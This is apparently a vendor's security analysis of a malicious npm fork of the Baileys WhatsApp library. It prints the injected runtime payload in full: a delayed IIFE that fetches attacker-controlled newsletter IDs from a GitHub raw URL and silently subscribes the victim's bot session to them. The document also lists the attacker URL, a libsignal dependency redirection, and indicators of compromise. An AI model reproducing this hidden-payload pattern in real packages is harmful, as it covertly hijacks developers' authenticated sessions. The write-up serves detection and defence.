TL;DR
The Xygeni Security Research Team identified a malicious npm package, @dappaoffc/baileys-mod, published as a fork of the widely used WhatsApp Web API library @whiskeysockets/baileys.
Starting from version 8.0.1, this malicious npm package contains a runtime code injection inside lib/Socket/newsletter.js. The injected logic silently subscribes the developer’s authenticated WhatsApp bot session to attacker-controlled newsletter channels.
The payload activates 80 seconds after module load and dynamically retrieves its target list from GitHub, making the behavior self-updating and difficult to detect through install-time analysis.
Technical Overview
During routine monitoring of newly published dependencies, the Xygeni Security Research Team detected anomalous behavior in @dappaoffc/baileys-mod, later confirmed as a malicious npm package targeting the WhatsApp bot ecosystem.
Unlike credential-stealing worms or ransomware droppers, this malicious npm package abuses the trust relationship between a developer and a commonly forked open source library.
The package presents itself as a modified version of Baileys, a popular WhatsApp Web API implementation widely used to build automation bots. Within that ecosystem, installing forks is common practice. Consequently, the attacker leveraged a realistic distribution model rather than exploiting a vulnerability.
Importantly:
- The preinstall script only validates Node.js version
- No credential exfiltration occurs at install time
- No suspicious postinstall activity appears
- The injection executes strictly at runtime
Because of this design, install-time scanners would not detect malicious behavior.
Runtime Injection Mechanism Inside the Malicious npm Package
The malicious logic inside this malicious npm package lives in lib/Socket/newsletter.js, embedded directly within the module’s execution context.
The attacker wrapped the injected block in an Immediately Invoked Function Expression (IIFE), which guarantees execution as soon as the module loads.
However, instead of triggering immediately, the payload introduces a delayed execution mechanism:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()
After the delay expires, the payload performs a controlled sequence:
- Fetches a JSON file from a GitHub raw content URL.
- Parses a list of WhatsApp newsletter IDs.
- Iterates through the list.
- Calls
newsletterWMexQuery(id, QueryIds.FOLLOW)for each entry. - Spaces requests five seconds apart to reduce rate-limit detection.
- Silently suppresses all runtime errors.
Because the code invokes internal library functions rather than external scripts, the resulting traffic appears indistinguishable from legitimate user-initiated actions. From WhatsApp’s protocol perspective, the bot voluntarily subscribed to those channels.
Technical Comparison: Legitimate vs Injected Behavior
| Component | Legitimate Behavior | Malicious Injection |
|---|---|---|
| Installation Phase | Validates Node.js version only | No visible malicious behavior at install time |
| Module Initialization | Exports WhatsApp socket factory | IIFE executes automatically on module load |
| Execution Timing | No delayed behavior | 80-second delayed activation |
| Network Communication | Communicates only through WhatsApp WebSocket protocol | Outbound fetch to GitHub raw content (dynamic control channel) |
| Newsletter Actions | User-initiated subscription requests | Automated FOLLOW requests via internal library API |
| Error Handling | Propagates operational errors | Silently suppresses all exceptions |
Dynamic Control Channel via GitHub
The newsletter ID list is hosted at:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
This design provides several operational advantages:
- Dynamic payload updates without publishing a new npm version
- Trusted TLS endpoint that blends into normal developer traffic
- No attacker-managed infrastructure required
- Persistence across already deployed bots
Because the injection executes inside the factory scope, it reuses internal closures such as newsletterWMexQuery and delay without importing external modules. This minimizes footprint and increases stealth.
Effectively, GitHub acts as a lightweight command distribution channel.
Dependency Alias and Attribution Signals
The package metadata includes the following dependency alias:
"libsignal": "npm:@skyzopedia/libsignal-node"
This redirects a critical cryptographic dependency to an attacker-controlled npm scope.
Additionally, the metadata impersonates the upstream project by referencing the original author and repository. This increases perceived legitimacy and reduces scrutiny during casual review.
These signals indicate deliberate ecosystem blending rather than opportunistic tampering.
Indicators of Compromise for This Malicious npm Package
Security teams investigating this malicious npm package should evaluate the following signals:
Network Signals
- Outbound GET requests to
raw.githubusercontent.comfrom WhatsApp bot processes - Newsletter FOLLOW actions occurring without application logic triggering them
Package Signals
@dappaoffc/baileys-modversion 8.0.1 (and potentially 8.0.0)- Dependency alias redirecting
libsignal - Runtime IIFE injection inside
newsletter.js
Behavioral Signals
- FOLLOW requests spaced in five-second intervals
- No user interaction preceding newsletter subscriptions
- Silent error suppression inside core library code
Unlike traditional malware, this attack does not require credential exfiltration. The abuse occurs entirely within an already authenticated session context.
Detection and Mitigation with Xygeni
This case illustrates why install-time scanning alone is insufficient. The malicious behavior executes after module load and hides inside legitimate business logic.
Xygeni’s Malware Early Warning (MEW) detected this package by correlating multiple signals rather than relying on a single signature.
Full-Source Static Analysis
MEW inspects complete package source trees, not only lifecycle scripts.
In this case, detection signals included:
- An unexpected
fetch()call inside a WhatsApp core module - Outbound communication to GitHub raw content
- Delayed execution patterns embedded in runtime logic
- Nested silent error handling
Individually, these patterns may appear benign. However, combined analysis reveals anomalous behavior inconsistent with a legitimate Baileys fork.
Dependency Risk Correlation
The libsignal alias triggered additional scrutiny because it redirects a sensitive dependency to an unverified scope.
Xygeni correlates:
- Publisher reputation signals
- Scope ownership inconsistencies
- Dependency redirection on cryptographic libraries
- Metadata impersonation indicators
This layered analysis reduces false positives while identifying trust abuse.
Runtime-Aware Supply Chain Controls
Because this malicious npm package executes at runtime, effective defense requires behavior-aware analysis.
Xygeni evaluates:
- Delayed execution mechanisms
- Internal API misuse
- Outbound network calls inside dependency code
- Anomalous control flow inside third-party libraries
Additionally, Guardrails policies in CI/CD can:
- Block unexpected outbound calls during builds
- Detect suspicious dependency graph changes
- Enforce restrictions on scope redirection
- Flag dynamic payload retrieval patterns
Therefore, containment does not rely solely on registry takedown.
Why This Malicious npm Package Matters for Supply Chain Security
This malicious npm package reflects a structural shift in supply chain abuse:
- Runtime execution instead of install-time payloads
- Dynamic control channels hosted on trusted platforms
- Abuse of legitimate internal APIs
- Metadata spoofing to mimic upstream maintainers
The attacker did not exploit a software vulnerability. Instead, the attacker exploited trust in forks and dependency updates.
Consequently, detection requires full-source inspection, dependency risk correlation, and runtime-aware analysis, not just script scanning.




